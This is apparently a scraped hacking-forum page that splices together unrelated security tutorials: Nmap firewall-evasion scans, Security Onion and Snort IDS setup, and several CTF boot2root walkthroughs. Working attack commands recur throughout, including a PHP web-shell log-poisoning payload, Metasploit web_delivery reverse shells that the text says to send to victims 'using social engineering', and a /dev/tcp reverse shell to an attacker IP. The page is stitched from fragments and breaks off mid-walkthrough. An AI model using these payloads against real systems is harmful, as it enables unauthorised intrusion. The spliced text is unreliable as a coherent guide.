[Image: 25.PNG?w=687&ssl=1]

Enter your local domain name as shown in given below image.
[Image: 25.PNG?w=687&ssl=1]

Configure 2nd network adapter for sniffing interface
Click “Yes” to configure sniffing interfaces now as shown in given below image.
[Image: 26.PNG?w=687&ssl=1]

Choose eth1 as network interface should be used for sniffing interface.
[Image: 27.PNG?w=687&ssl=1]

Given below image is showing brief details of a network interface configuration. Click yes to proceed further step.
[Image: 28.PNG?w=687&ssl=1]

Network configuration is completed now click “Yes Reboot”
[Image: 29.PNG?w=687&ssl=1]

Security onion configuration 2nd part
Now once it restarts, again click on “setup” icon for further configuration of security onion setup as a real-time machine. Then click “yes, Continue”.
[Image: 30.PNG?w=687&ssl=1]

Since we had already configured the network interface, therefore, click on “yes, Skip network configuration”
[Image: 31.PNG?w=687&ssl=1]

Select “Stable setup” which will configure ELSA; then Click OK.
[Image: 32.PNG?w=687&ssl=1]

Select “Evaluation Mode” which configure Snort and Bro to monitor one network interface; then Click OK
[Image: 33.PNG?w=687&ssl=1]

Select eth1 for the 2nd network interface that should be monitored as shown in the given image.
[Image: 34.PNG?w=687&ssl=1]

Now add a username for Sguil, Squert, and ELSA a shown in given below image.
[Image: 35.PNG?w=687&ssl=1]

Enter the password for username used while you want to login into Sguil, Squert and ELSA a shown in given below image.
[Image: 36.PNG?w=687&ssl=1]

Now again next dialog box will display brief detain for configuration setting. Click on “yes, proceed with changes”
[Image: 38.PNG?w=687&ssl=1]

Here it will proceed for stopping all NSM services which manage all network services from creation to deletion.
[Image: 39.PNG?w=687&ssl=1]

Security Onion configuration is now completed. You will see it will launch icon for SGUIL, Squert, and ELSA. Now click on the squil icon and then enter the username and password to login into sguil.
[Image: 45.PNG?w=687&ssl=1]

Select network eth1 to be the monitor as shown in given below image and click on “start SGUIL”
[Image: 46.PNG?w=687&ssl=1]

It will work as a real-time system and start capturing traffic as shown in given below image.
Great!! Now analysis your network traffic will real-time machine
[Image: 47.PNG?w=687&ssl=1]

In our previous article we had demonstrated “Nmap firewall scan (part 1)” by making use of Iptable rules and then try to bypass firewall filter to perform NMAP Advance scanning, today we are going to discuss the second part of it.
Requirement
Attacker: Kali Linux
Target: Ubuntu
Spoof MAC Address Scan
Allow TCP Packet from Specific Mac Address
If network admin wants to establish TCP connect from specific MAC address and do not want to connect with another system then he could use following Iptable rules to apply firewall filter in his network.
iptables -I INPUT -p tcp -m mac --mac-source "AA:AA:AA:AA:AA:AA" -j ACCEPT
iptables -A INPUT -p tcp -j REJECT --reject-with tcp-reset
1
2
iptables -I INPUT -p tcp -m mac --mac-source "AA:AA:AA:AA:AA:AA" -j ACCEPT
iptables -A INPUT -p tcp -j REJECT --reject-with tcp-reset
[Image: 4.png?w=687&ssl=1]

Now when the attacker will perform basic network scanning on the target’s network, he could not able to enumerate ports and running service of a victim’s system.
nmap 192.168.1.117
1
nmap 192.168.1.117
[Image: 5.png?w=687&ssl=1]

In order to bypass above applied filter attacker may run netdiscover command or nmap Host Scan in Kali Linux terminal to identify the active host in the network. As a result he will get a table which contains MAC address and IP address of the active host in the local network.
[Image: 6.png?w=687&ssl=1]

Now either use one by one all MAC address in nmap command or save all MAC address in a text file and give its path in nmap command but to perform this attacker first need to enable “Promiscuous mode” of his network. Well, to do so type given below commands first for Promiscuous mode and second for nmap scanning.
ip link set eth0 promisc on
nmap --spoof-mac AA:AA:AA:AA:AA:AA 192.168.1.117
1
2
ip link set eth0 promisc on
nmap --spoof-mac AA:AA:AA:AA:AA:AA 192.168.1.117
Hence if you are lucky to spoof correct Mac address then you can easily bypass the firewall filter and able to establish TCP connect with victim’s network for port enumeration.
Nice!!! If you will notice in given below image you will observe open ports of the target’s network.
[Image: 7.png?w=687&ssl=1]

Spoof IP Address
Allow TCP Packet from Specific IP
If network admin wants to establish TCP connect from specific IP and do not want to connect with another system then he could use following Iptable rules to apply firewall filter in his network.
iptables -A INPUT -p tcp -j REJECT --reject-with tcp-reset
iptables -I INPUT -p tcp -s 192.168.1.120 -j ACCEPT
1
2
iptables -A INPUT -p tcp -j REJECT --reject-with tcp-reset
iptables -I INPUT -p tcp -s 192.168.1.120 -j ACCEPT
[Image: 8.png?w=687&ssl=1]

Now when again attacker will perform basic network scanning on the target’s network, he could not able to enumerate ports and running service of victim’s system.
nmap 192.168.1.117
1
nmap 192.168.1.117
[Image: 9.png?w=687&ssl=1]

In order to bypass above applied filter attacker may again run netdiscover command or nmap Host Scan in Kali Linux terminal to identify the active host in the network. As a result he will get a table which contains MAC address and IP address of the active host in the local network.
Now either use one by one all IP address in nmap command or save all IP address in a text file and give its path in nmap command and then execute the following command:
nmap -e eth0 -S 192.168.1.120 192.168.1.117
1
nmap -e eth0 -S 192.168.1.120 192.168.1.117
Hence if you are lucky to spoof correct IP address then you can easily bypass the firewall filter and able to establish TCP connect with victim’s network for port enumeration.
Great!! If you will notice in given below image you will observe open ports of target’s network.
[Image: 10.png?w=687&ssl=1]

Data-String Scan
Allow TCP Packet from Specific String
If network admin wants to establish TCP connect from a system which contains a specific string and do not want to connect with other system does not contain that special string packets then he could use following Iptable rules to apply firewall filter in his network.
iptables -I INPUT -p tcp -m string --algo bm --string "Khulja sim sim" -j ACCEPT
iptables -A INPUT -p tcp -j REJECT --reject-with tcp-reset
1
2
iptables -I INPUT -p tcp -m string --algo bm --string "Khulja sim sim" -j ACCEPT
iptables -A INPUT -p tcp -j REJECT --reject-with tcp-reset
In above rule, you can see we had used “Khulja sim sim” as a special string to establish TCP connection. Hence only those TCP connection could be established which contain “Khulja sim sim” in packets.

Now when again attacker will perform basic network scanning on target’s network, he could not able to enumerate ports and running service of victim’s system because traffic generates from his network does not contain special string in packets thus firewall of target system will discard all TCP packet of attacker’s network.
nmap 192.168.1.117
1
nmap 192.168.1.117
[Image: 12.png?w=687&ssl=1]

If the attacker somehow sniffs special string “khulja sim sim” to connect with target’s network then he could use –data-string argument in nmap command to bypass the firewall.
nmap --data-string "Khulja sim sim" 192.168.1.117
1
nmap --data-string "Khulja sim sim" 192.168.1.117
Hence if you are lucky to sniff correct data string then you can easily bypass the firewall filter and able to establish TCP connect with victim’s network for port enumeration.
Wonderful!! If you will notice given below image you will observe open ports of target’s network.
[Image: 13.png?w=687&ssl=1]

Hex String Scan
Allow TCP Packet from Specific Hex String
If network admin wants to establish TCP connect from a system which contains the hexadecimal value of the particular string and do not want to connect with other system does not contain the hexadecimal value of that special string in packets then he could use following Iptable rules to apply firewall filter in his network.
iptables -I INPUT -p tcp -m string --algo kmp --hex-string "RAJ" -j ACCEPT
iptables -A INPUT -p tcp -j REJECT --reject-with tcp-reset
1
2
iptables -I INPUT -p tcp -m string --algo kmp --hex-string "RAJ" -j ACCEPT
iptables -A INPUT -p tcp -j REJECT --reject-with tcp-reset
In the above rule, you can see we had used hex value for “RAJ” as a special string to establish a TCP connection. Hence only those TCP connection could be established which contain hex value of “RAJ” in the packet.
[Image: 14.png?w=687&ssl=1]

Now when again attacker will perform basic network scanning on target’s network, he could not able to enumerate ports and running service of victim’s system because traffic generates from his network does not contain hex value of the special string in packets thus firewall of target system will discard all TCP packet of attacker’s network.
nmap 192.168.1.117
1
nmap 192.168.1.117
[Image: 15.png?w=687&ssl=1]

If an attacker somehow sniffs special string “RAJ” to connect with target’s network then he could use its hex values with –data argument in nmap command to bypass the firewall.
nmap --data "\x52\x41\x4a" 192.168.1.117
1
nmap --data "\x52\x41\x4a" 192.168.1.117
Hence if you are lucky to sniff correct hex value of particular data string then you can easily bypass the firewall filter and able to establish TCP connect with victim’s network for port enumeration.
Hence, if you will notice given below image you will observe open ports of the target’s network.
[Image: 16.png?w=687&ssl=1]

IP-Options Scan
Reject TCP Packets contains tcp-option
By default, nmap sends 24 bytes of TCP data in which 4 bytes of data is reserve for TCP Options if network admin rejects 4 bytes tcp –option packet to discord tcp connection to prevent his network from scanning. Type following iptable rule to reject 4-bit tcp-option in his network:
iptables -I INPUT -p tcp --tcp-option 4 -j REJECT --reject-with tcp-reset
1
iptables -I INPUT -p tcp --tcp-option 4 -j REJECT --reject-with tcp-reset

Now when an attacker will perform TCP scanning [sT] on the target’s network, he could not able to enumerate ports and running service of the victim’s system. Since tcp-option is 4 bytes hence firewall discard tcp packet of attacker’s network.
nmap -sT 192.168.1.117
1
nmap -sT 192.168.1.117
[Image: 21.png?w=687&ssl=1]

The IP protocol gives numerous options that could be placed in packet headers. Contrasting the omnipresent TCP options, IP options are seldom observed because of security reasons. The most powerful way to specify IP options is to simply pass in hexadecimal data as the argument to –ip-options.
Precede every hex byte value with \x. You may repeat certain characters by following them with an asterisk and then the number of times you wish them to repeat. For example, \x01\x07\x04\x00*4 is the same as\x01\x07\x04\x00\x00\x00\x00 this is also called NuLL bytes
Now type the following command with the ip-option argument as shown below:
nmap --ip-options "\x00\x00\x00\x00\x00*" 192.168.1.117
1
nmap --ip-options "\x00\x00\x00\x00\x00*" 192.168.1.117
Note that if you denote the number of bytes that is not a multiple of four; an incorrect IP header length will be set in the IP packet. The reason for this is that the IP header length field can only express multiples of four. In those cases, the length is computed by dividing the header length by 4 and rounding down.
GOOD! If you will notice given below image you will observe open ports of the target’s network.

[To see content please register here]

Hello friends! Today we are going to take another CTF challenge known as The Ether: EvilScience. The credit for making this vm machine goes to “f1re_w1re” and it is another boot2root challenge where we have to root the server to complete the challenge. You can download this VM

[To see content please register here]

.
Let’s Breach!!!
Let us start form getting to know the IP of VM (Here, I have it at 192.168.1.146 but you will have to find your own)
netdiscover
[Image: 1.1.png?w=687&ssl=1]

Use nmap for port enumeration.
nmap -sV 192.168.1.146
[Image: 1.png?w=687&ssl=1]

Nmap scan shows us port 80 is open, so we open the ip address in our browser.
[Image: 2.png?w=687&ssl=1]

We find that the site is vulnerable to LFI. Going through the pages we find that the index.php file is vulnerable to LFI
[Image: 3.png?w=687&ssl=1]

We can access auth.log with LFI. We use burpsuite to check the response and we find that we can use ssh log poisoning to get access to server.
[Image: 4.png?w=687&ssl=1]

We now login with username as basic php shell to use command injection.
ssh ‘<?php system($_GET[‘C’]);?>’@192.168.1.146
[Image: 5.png?w=687&ssl=1]

Now we check if log injection is possible we try to run ‘ls’ command and find that log injection is possible.
[Image: 6.png?w=687&ssl=1]

We use web_delivery script in metasploit to gain reverse shell.
msf > use multi/script/web_delivery
msf exploit(web_delivery) > set target 1
msf exploit(web_delivery) > set payload php/meterpreter/reverse_tcp
msf exploit(web_delivery) > set lhost 192.168.1.131
msf exploit(web_delivery) > set lport 4444
msf exploit(web_delivery) > run
[Image: 7.png?w=687&ssl=1]

Now we run python to run our web delivery script to bypass the firewall.
[Image: 8.png?w=687&ssl=1]

As soon as we get send the request we get the reverse shell.
[Image: 9.png?w=687&ssl=1]

Now we spawn tty shell with python.
python -c ‘import pty; pty.spawn(“/bin/bash”);’
[Image: 10.png?w=687&ssl=1]

Now we take look at the sudoers file. We find that we don’t need need password to run a python file as root.
[Image: 11.png?w=687&ssl=1]

Now we run the file as root. When we run the file we find that it opens log file so we use pipe to run our commands. We run id command and find that we can execute commands as root.
[Image: 12.png?w=687&ssl=1]

Now we setup our listener using netcat.
nc -lvp 5555
[Image: 13.png?w=687&ssl=1]

Now we create a python shell and save it into our /var/www/html folder.
[Image: 14.png?w=687&ssl=1]

We download it inside /tmp folder on the target VM using wget.
wget

[To see content please register here]

-O /tmp/shell.py
[Image: 15.png?w=687&ssl=1]

Let’s run the shell using python program in the target machine.
[Image: 16.png?w=687&ssl=1]

Now as soon as we run the shell we get the reverse shell. We run the id command to check the user. We move to the root directory and find an image file called flag.png
[Image: 17.png?w=687&ssl=1]

We check the strings inside the image using tail command.
tail flag.png
Inside the image file we find a flag in base64 encode.
[Image: 18.png?w=687&ssl=1]

We decode the base64 encoded string.
echo ‘base64-encoded-string’ | base64 -d
[Image: 19.png?w=687&ssl=1]

Hello friends! In this article you will learn how to exploit three different platforms [Linux, windows, using a single exploit of the Metasploit framework.
Requirement
Attacker: Kali Linux
Targeted Platform: Window,PHP,Linux [ubuntu]
Open the terminal in your Kali Linux and type “msfconsole” to load Metasploit framework and execute given below exploit.
This module quickly fires up a web server that serves a payload. The provided command which will allow for a payload to download and execute. It will do it either specified scripting language interpreter or “squiblydoo” via regsvr32.exe for bypassing application whitelisting. The main purpose of this module is to quickly establish a session on a target machine when the attacker has to manually type in the command: e.g. Command Injection, RDP Session, Local Access or maybe Remote Command Execution. This attack vector does not write to disk so it is less likely to trigger AV solutions and will allow privilege escalations supplied by Meterpreter. When using either of the PSH targets, ensure the payload architecture matches the target computer or use SYSWOW64 powershell.exe to execute x86 payloads on x64 machines. Regsvr32 uses “squiblydoo” technique for bypassing application whitelisting. The signed Microsoft binary file, Regsvr32, is able to request an .sct file and then execute the included PowerShell command inside of it. Both web requests (i.e., the .sct file and PowerShell download/execute) can occur on the same port. “PSH (Binary)” will write a file to the disk, allowing for custom binaries to be served up to be downloaded/executed.
use exploit/multi/script/web_delivery
msf exploit (web_delivery)>show targets
1
2
use exploit/multi/script/web_delivery
msf exploit (web_delivery)>show targets
From given below image you can observe that there are 5 targets, which help you in generating malicious code to create a backdoor in the victim system.
[Image: 1.png?w=687&ssl=1]

Exploit Linux Platform [python]

use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set lhost 192.168.1.132
msf exploit (web_delivery)>set lport 4444
msf exploit (web_delivery)>set target 0
msf exploit (web_delivery)>set payload python/meterpreter/reverse_tcp
msf exploit (web_delivery)>run
1
2
3
4
5
6
use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set lhost 192.168.1.132
msf exploit (web_delivery)>set lport 4444
msf exploit (web_delivery)>set target 0
msf exploit (web_delivery)>set payload python/meterpreter/reverse_tcp
msf exploit (web_delivery)>run
In this exploit we had set target 0 to generate malicious code for python platform, from given below image you can observe the highlighted malicious python code, now copy it and send to the victim using social engineering method.
As soon as the victim will execute the malicious code in terminal, the attacker will obtain meterpreter session as unauthorized access of the victim system.
[Image: 2.1.png?w=687&ssl=1]

Exploit Linux Platform The contents of this section are hidden for your group

use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set lhost 192.168.1.132
msf exploit (web_delivery)>set lport 4444
msf exploit (web_delivery)>set target 1
msf exploit (web_delivery)>set payload php/meterpreter/reverse_tcp
msf exploit (web_delivery)>run
1
2
3
4
5
6
use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set lhost 192.168.1.132
msf exploit (web_delivery)>set lport 4444
msf exploit (web_delivery)>set target 1
msf exploit (web_delivery)>set payload php/meterpreter/reverse_tcp
msf exploit (web_delivery)>run
Now we had set target 1 to generate malicious code for php platform, from given below image you can observe the highlighted malicious php code, now copy it and send to the victim using social engineering method.
As soon as the victim will execute the malicious code in a web browser, the attacker will obtain another meterpreter session as unauthorized access of the victim system.
[Image: 2.png?w=687&ssl=1]

Exploit Windows Platform [exe]

use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set lhost 192.168.1.132
msf exploit (web_delivery)>set lport 4444
msf exploit (web_delivery)>set target 2
msf exploit (web_delivery)>set payload windows/meterpreter/reverse_tcp
msf exploit (web_delivery)>run
1
2
3
4
5
6
use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set lhost 192.168.1.132
msf exploit (web_delivery)>set lport 4444
msf exploit (web_delivery)>set target 2
msf exploit (web_delivery)>set payload windows/meterpreter/reverse_tcp
msf exploit (web_delivery)>run
Further, we had set target 2 to generate malicious code for window platform, from given below image you can observe the highlighted malicious powershell.exe, now copy it and send to the victim using social engineering method.
As soon as the victim will execute the malicious code in command prompt, the attacker will obtain a meterpreter session as unauthorized access of the victim system.
[Image: 4.png?w=687&ssl=1]

Exploit Windows Platform [DLL]

use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set lhost 192.168.1.132
msf exploit (web_delivery)>set lport 4444
msf exploit (web_delivery)>set target 3
msf exploit (web_delivery)>set payload windows/meterpreter/reverse_tcp
msf exploit (web_delivery)>run
1
2
3
4
5
6
use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set lhost 192.168.1.132
msf exploit (web_delivery)>set lport 4444
msf exploit (web_delivery)>set target 3
msf exploit (web_delivery)>set payload windows/meterpreter/reverse_tcp
msf exploit (web_delivery)>run
In this exploit we had set target 3 to generate malicious code for window platform, from given below image you can observe the highlighted malicious dll code, now copy it and send to the victim using social engineering method.
As soon as the victim will execute the malicious code as run command inside the RUN window, the attacker will again obtain meterpreter session and make unauthorized access in the victim system.
[Image: 5.png?w=687&ssl=1]

Exploit Windows Platform [Powershell Binary]

use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set lhost 192.168.1.132
msf exploit (web_delivery)>set lport 4444
msf exploit (web_delivery)>set target 4
msf exploit (web_delivery)>set payload windows/meterpreter/reverse_tcp
msf exploit (web_delivery)>run
1
2
3
4
5
6
use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set lhost 192.168.1.132
msf exploit (web_delivery)>set lport 4444
msf exploit (web_delivery)>set target 4
msf exploit (web_delivery)>set payload windows/meterpreter/reverse_tcp
msf exploit (web_delivery)>run
In this exploit we had set target 4 to generate malicious code for windows platform, from given below image you can observe the highlighted malicious powershell.exe binary code, now copy it and send to the victim using social engineering method.
As soon as the victim will execute the malicious code in command prompt, the attacker will obtain a meterpreter session as unauthorized access of the victim system.
Hence a single exploit “web delivery script” is quite helpful to hack three different platforms.
[Image: 6.png?w=687&ssl=1]

[Guide] How to IDS, IPS Penetration Testing Lab Setup with Snort (Manually)

Posted by: NINZA - 05-14-2020, 05:32 AM - Forum: Carders Home - No Replies

Hello friends! As you people must be aware of various types of security issues facing by IT sector originations daily. There are so many types of firewall and IDS or third-party software available to shoot out major different types of security issues in the network.
In this article, you will learn how to configure the famous “SNORT as IDS” of IT sector originations which work as a real-time machine.
Snort is software created by Martin Roesch, which is widely used as Intrusion Prevention System [IPS] and Intrusion Detection System [IDS] in the network. It is separated into the five most important mechanisms for instance: Detection engine, Logging, and alerting system, a Packet decoder, Preprocessor, and Output modules.
The program is quite famous to carry out real-time traffic analysis, also used to detect query or attacks, packet logging on Internet Protocol networks, to detect malicious activity, denial of service attacks and port scans by monitoring network traffic, buffer overflows, server message block probes, and stealth port scans.
Snort can be configured in three main modes:

Sniffer mode: it will observe network packets and present them on the console.
Packet logger mode: it will record packets to the disk.
Intrusion detection mode: the program will monitor network traffic and analyze it against a rule set defined by the user.

After that, the application will execute a precise action depend upon what has been identified.
Let’s Begin!!
Snort Installation
We had chosen the ubuntu 14.04 operating system for installation and configuration of snort. Earlier than installing snort in your machine, you should need to install the necessary dependencies of ubuntu. Therefore open the terminal and type given below command to install pre-requisites:
sudo apt-get install -y build-essential libpcap-dev libpcre3-dev libdumbnet-dev bison flex zlib1g-dev
1
sudo apt-get install -y build-essential libpcap-dev libpcre3-dev libdumbnet-dev bison flex zlib1g-dev

Now create a folder to download snort and its dependencies package inside. Type given below commands to create a folder “snort-src” and move inside it to download DAQ-2.0.6
mkdir ~/snort_src && cd ~/snort_src
1
mkdir ~/snort_src && cd ~/snort_src

wget

[To see content please register here]

1
wget

[To see content please register here]

Snort need to set up the DAQ, or Data Acquisition library, for packet I/O. The DAQ change direct calls into lib pcap functions with an abstraction layer that facilitates operation on a variety of hardware and software interfaces without requiring changes to Snort. It is possible to select the DAQ type and mode when invoking Snort to perform pcap read back or inline operation, etc. The DAQ library may be useful for other packet processing applications and the modular nature allows you to build new modules for other platforms.
From given below image you can confirm that we had successfully downloaded daq-2.0.6 tar file.
[Image: 2.png?w=687&ssl=1]

Now execute given below command to extract tar file.
tar xvfz daq-2.0.6.tar.gz
1
tar xvfz daq-2.0.6.tar.gz
[Image: 3.png?w=687&ssl=1]

Move inside the daq-2.0.6 folder by executing given below the first command and then execute the second command for automatic installation and configuration.
cd daq-2.0.6
./configure && make && sudo make install
1
2
cd daq-2.0.6
./configure && make && sudo make install
Till here you had learned how to install daq-2.0.6 for snort.

Now again move into snort-src folder and type given below command to download the latest version of snort-2.9.11
wget

[To see content please register here]

1
wget

[To see content please register here]

From given below image you can confirm that we had successfully downloaded snort-2.9.11 tar file.
[Image: 5.png?w=687&ssl=1]

Now execute given below command to extract tar file.
tar xvfz snort-2.9.11.tar.gz
1
tar xvfz snort-2.9.11.tar.gz

Move inside the snort-2.9.11 folder by executing given below the first command and then execute the second command for automatic installation and configuration.
cd snort-2.9.11
./configure --enable-sourcefire && make && sudo make install
1
2
cd snort-2.9.11
./configure --enable-sourcefire && make && sudo make install
[Image: 7.png?w=687&ssl=1]

Run the following command to manage and install shared libraries
sudo ldconfig
1
sudo ldconfig
Type given below command for generating a symbolic link
sudo ln -s /usr/local/bin/snort /usr/sbin/snort
1
sudo ln -s /usr/local/bin/snort /usr/sbin/snort
A symbolic link also known as a soft link is a file system entry that points to the file name and location. Deleting the symbolic link does not remove the original file. If, on the other hand, the file to which the soft link point is removed, the soft link stops working, it is broken.
[Image: 8.png?w=687&ssl=1]

Now execute given below command that snort to verify itself by testing its installation and configuration.
snort -V
1
snort -V
The first part of snort installation finished here
[Image: 9.png?w=687&ssl=1]

Configure Snort to in IDS Mode in Network
Execute given below command to create the snort user and group, where snort will run as an unprivileged user.
sudo groupadd snort
sudo useradd snort -r -s /sbin/nologin -c SNORT_IDS -g snort
1
2
sudo groupadd snort
sudo useradd snort -r -s /sbin/nologin -c SNORT_IDS -g snort
Above command will create a group as “snort” and add a member “snort” into it.
[Image: 10.png?w=687&ssl=1]

Now further we need to make some directories which Snort suppose at the timing of running in IDS mode in the network. Snort stores configuration files in /etc/snort; rules in /etc/snort/rules; store compile rules in /usr/local/lib/snort_dynamicrules, and stores its logs in /var/log/snort:
Type given below command to create the Snort directories:
sudo mkdir /etc/snort
sudo mkdir /etc/snort/rules
sudo mkdir /etc/snort/rules/iplists
sudo mkdir /etc/snort/preproc_rules
sudo mkdir /usr/local/lib/snort_dynamicrules
sudo mkdir /etc/snort/so_rules
1
2
3
4
5
6
sudo mkdir /etc/snort
sudo mkdir /etc/snort/rules
sudo mkdir /etc/snort/rules/iplists
sudo mkdir /etc/snort/preproc_rules
sudo mkdir /usr/local/lib/snort_dynamicrules
sudo mkdir /etc/snort/so_rules
[Image: 11.png?w=687&ssl=1]

Type given below command to create some files that stores rules and ip lists
sudo touch /etc/snort/rules/iplists/black_list.rules
sudo touch /etc/snort/rules/iplists/white_list.rules
sudo touch /etc/snort/rules/local.rules
sudo touch /etc/snort/sid-msg.map
1
2
3
4
sudo touch /etc/snort/rules/iplists/black_list.rules
sudo touch /etc/snort/rules/iplists/white_list.rules
sudo touch /etc/snort/rules/local.rules
sudo touch /etc/snort/sid-msg.map
[Image: 12.png?w=687&ssl=1]

Type given below command to create our logging directories:
sudo mkdir /var/log/snort
sudo mkdir /var/log/snort/archived_logs
1
2
sudo mkdir /var/log/snort
sudo mkdir /var/log/snort/archived_logs
[Image: 13.png?w=687&ssl=1]

Type given below command to adjust permissions:
sudo chmod -R 5775 /etc/snort
sudo chmod -R 5775 /var/log/snort
sudo chmod -R 5775 /var/log/snort/archived_logs
sudo chmod -R 5775 /etc/snort/so_rules
sudo chmod -R 5775 /usr/local/lib/snort_dynamicrules
1
2
3
4
5
sudo chmod -R 5775 /etc/snort
sudo chmod -R 5775 /var/log/snort
sudo chmod -R 5775 /var/log/snort/archived_logs
sudo chmod -R 5775 /etc/snort/so_rules
sudo chmod -R 5775 /usr/local/lib/snort_dynamicrules
[Image: 14.png?w=687&ssl=1]

Snort required some configuration files and the dynamic preprocessors to be copied from the Snort source folder into the /etc/snort folder, therefore, execute given below command for that.
cd snort_src/snort-2.9.11/etc/
sudo cp *.conf* /etc/snort
sudo cp *.map /etc/snort
sudo cp *.dtd /etc/snort
1
2
3
4
cd snort_src/snort-2.9.11/etc/
sudo cp *.conf* /etc/snort
sudo cp *.map /etc/snort
sudo cp *.dtd /etc/snort
[Image: 15.png?w=687&ssl=1]

cd snort_src/snort-2.9.11/src/dynamic-preprocessors/build/usr/local/lib/snort_dynamicpreprocessor/
sudo cp * /usr/local/lib/snort_dynamicpreprocessor/
1
2
cd snort_src/snort-2.9.11/src/dynamic-preprocessors/build/usr/local/lib/snort_dynamicpreprocessor/
sudo cp * /usr/local/lib/snort_dynamicpreprocessor/
[Image: 16.png?w=687&ssl=1]

Editing snort configuration file
Now we need to comment out all rulesets with the following command:
sudo sed -i "s/include \$RULE\_PATH/#include \$RULE\_PATH/" /etc/snort/snort.conf
1
sudo sed -i "s/include \$RULE\_PATH/#include \$RULE\_PATH/" /etc/snort/snort.conf
After then open the configuration file using gedit for making some changes inside.
sudo gedit /etc/snort/snort.conf
1
sudo gedit /etc/snort/snort.conf
[Image: 17.png?w=687&ssl=1]

Scroll down the text file near line number 45 to specify your network for protection as shown in the given image.
#Setup the network addresses you are protecting
ipvar HOME_NET 192.168.1.1/24
1
ipvar HOME_NET 192.168.1.1/24
[Image: 18.png?w=687&ssl=1]

Now again scroll down near line number 108 to set the path of your rule file which you had created above for storing snort rules, as shown in given below image.
var RULE_PATH /etc/snort/rules
var SO_RULE_PATH /etc/snort/so_rules
var PREPROC_RULE_PATH /etc/snort/preproc_rules
var WHITE_LIST_PATH /etc/snort/rules/iplists
var BLACK_LIST_PATH /etc/snort/rules/iplists
1
2
3
4
5
var RULE_PATH /etc/snort/rules
var SO_RULE_PATH /etc/snort/so_rules
var PREPROC_RULE_PATH /etc/snort/preproc_rules
var WHITE_LIST_PATH /etc/snort/rules/iplists
var BLACK_LIST_PATH /etc/snort/rules/iplists
[Image: 19.png?w=687&ssl=1]

One more time scroll down the text near line number 546 to uncomment highlighted text.
include $RULE_PATH/local.rules
Save the file and close it once all the editing is done in the snort configuration file.
[Image: 20.png?w=687&ssl=1]

Now once again we need to verify its configuration setting, therefore, execute the following command to test it.
sudo snort -T -i eth0 -c /etc/snort/snort.conf
1
sudo snort -T -i eth0 -c /etc/snort/snort.conf
Now it will compile the complete file and test the configuration setting automatically as shown in given below image:
[Image: 21.png?w=687&ssl=1]

Great!! We had successfully configured snort as IDS for protecting our network.
[Image: 22.png?w=687&ssl=1]

Today we are going to take on a simple boot2root style VM challenge “Depth:1” by ‘Dan Lawson’. Here we have to root the server to complete the challenge.
Download it from

[To see content please register here]

Difficulty: Intermediate
Penetrating Methodology
Scanning

Netdiscover
NMAP

Enumeration

Web Directory search
Credential harvesting

Exploiting

Disable firewall through ssh
Payload execution

Privilege Escalation

Exploit sudo rights

Capture the Flag
Walkthrough
Scanning
Let’s start off by scanning the network and identifying host IPs. We can identify our host IP as 192.168.1.101 with the help of netdiscover. Next, port enumeration using nmap aggressive scan shows that port 8080 is open and is running http service of Apache Tomcat/Coyote JSP engine 1.1.
netdiscover
nmap -A 192.168.1.101
1
2
netdiscover
nmap -A 192.168.1.101
[Image: 1.png?w=687]

Enumeration
We opened the IP into browser with port 8080. This gives a bit of useful information exposing the default Apache Tomcat’s directories.
[Image: 2.png?w=687]

Next, we are extracting the directories of jsp extension over the target, for that we can use the -X parameter of the dirb scan. Nikto result too shows the same file as you can see in the following screenshot:
dirb //192.168.1.101:8080/ -X .jsp
nikto -h //192.168.1.101:8080/
1
2
dirb //192.168.1.101:8080/ -X .jsp
nikto -h //192.168.1.101:8080/
[Image: 3.png?w=687]

While opening the file in the browser shows a file list checker script as a hint, which is supposed to list directories from the server upon request.
[Image: 4.png?w=687]

Upon executing the given script “ls-l/temp”, we can see user root and tomcat8 is there.
[Image: 5.png?w=687]

After trying few more scripts we get success by using ‘ls-l/home’ as it shows us a user name bill.
[Image: 6.png?w=687]

Here trying to find out running processes with “ps aux “, the options “aux” prints all the running process in the system regardless of where they have been executed. And we find out that sshd service is in use but maybe with restricted access.
[Image: 7.png?w=687]

Exploiting
let’s try to disable the firewall through ssh using user bill and it gets executed.
ssh bill@localhost sudo ufw disable
1
ssh bill@localhost sudo ufw disable
After that to gain reverse shell we first setup our netcat listener on port 1234 which you can see in the last screenshot.
Then we are using bash reverse shell to gain access on host 192.168.1.110 on port 1234.
msfvenom -p cmd/unix/reverse_bash lhost=192.168.1.110 lport=1234 R
1
msfvenom -p cmd/unix/reverse_bash lhost=192.168.1.110 lport=1234 R
[Image: 12.png?w=687]

Copy the payload generated and execute it with ssh.
ssh bill@localhost 0<&46-;exec 46<>/dev/tcp/192.168.1.110/1234;sh <&46 >&46 2>&46
1
ssh bill@localhost 0<&46-;exec 46<>/dev/tcp/192.168.1.110/1234;sh <&46 >&46 2>&46
[Image: 13.png?w=687]

Privilege Escalation and Capturing the flag
As soon as we execute the payload, we get our reverse shell, now we just check sudo rights for the bill and find that he has all permissions as well as he can login without any password. Great! Now we just have to login and get into root folder. Here we get a file called flag.
Lastly, we open the flag file and capture the flag.
nc -lvp 1234
sudo -l
sudo su
cd /root
ls
cat flag
1
2
3
4
5
6
nc -lvp 1234
sudo -l
sudo su
cd /root
ls
cat flag
[Image: 14.png?w=687]

Hello friends! Today we are going to take another CTF challenge known as G0rmint. The credit for making this vm machine goes to “Noman Riffat” and it is another boot2root challenge where we have to root the server to complete the challenge. You can download this VM

[To see content please register here]

.
Let’s Breach!!!
Let us start form getting to know the IP of VM (Here, I have it at 192.168.1.134 but you will have to find your own)
netdiscover
[Image: 1.png?w=687&ssl=1]

Use nmap for port enumeration.
nmap 192.168.1.134
[Image: 2.png?w=687&ssl=1]

Nmap scan shows us port 80 is open, so we open the ip address in our browser.
We don’t find any page. So we use dirb to find the directories for more information.
dirb

[To see content please register here]

We open robots.txt and find a directory called /g0rmint/.
[Image: 4.png?w=687&ssl=1]

When we open the directory we find a login page.
[Image: 5.png?w=687&ssl=1]

We take a look at the source code for more information.
[Image: 6.png?w=687&ssl=1]

When we take a look at the source code we find a backup directory called s3cretbackupdirectory/ We use dirb to enumerate files or pages in that directory.
dirb

[To see content please register here]

